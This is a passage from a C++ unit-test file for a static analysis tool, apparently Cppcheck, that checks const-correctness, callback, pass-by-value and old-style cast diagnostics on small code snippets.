\"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 